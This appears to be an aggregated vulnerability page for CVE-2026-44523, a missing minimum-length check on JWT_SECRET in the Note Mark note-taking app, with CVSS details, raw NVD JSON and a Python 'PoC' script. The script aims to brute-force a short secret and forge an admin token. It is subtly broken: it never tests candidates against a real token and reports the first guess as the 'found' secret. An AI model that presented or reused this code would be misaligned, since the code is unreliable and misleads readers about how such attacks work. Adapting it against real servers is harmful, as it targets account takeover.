Security Vulnerability Report
中文
CVE-2026-44523 CVSS 10.0 CRITICAL

CVE-2026-44523

Published: 2026-05-14 19:16:37
Last Modified: 2026-05-14 19:16:37

Description

Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Note Mark < 0.19.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import jwt import requests import itertools # Target configuration target_url = "http://vulnerable-host/api/user/profile" algorithm = "HS256" # Since the app accepts any base64-decodable secret (even 1 byte), # we can brute force short characters. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" max_length = 4 print("[*] Starting brute force for weak JWT_SECRET...") # Sample token captured from the application (invalid without secret) # We need to find the secret to forge a valid token sample_payload = {"sub": "admin", "role": "admin"} for length in range(1, max_length + 1): for candidate_tuple in itertools.product(charset, repeat=length): candidate_secret = ''.join(candidate_tuple) try: # Attempt to encode a token with the candidate secret # If the app accepts this secret, we can forge tokens forged_token = jwt.encode(sample_payload, candidate_secret, algorithm=algorithm) print(f"[+] Found potential weak secret: {candidate_secret}") print(f"[+] Forged Admin Token: {forged_token}") # Verify usage headers = {"Authorization": f"Bearer {forged_token}"} # resp = requests.get(target_url, headers=headers) # if resp.status_code == 200: # print("[!] Exploit Successful!") # exit(0) break except Exception as e: continue

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44523", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:37.470", "lastModified": "2026-05-14T19:16:37.470", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-326"}, {"lang": "en", "value": "CWE-345"}]}], "references": [{"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-q6mh-rqwh-g786", "source": "[email protected]"}]}}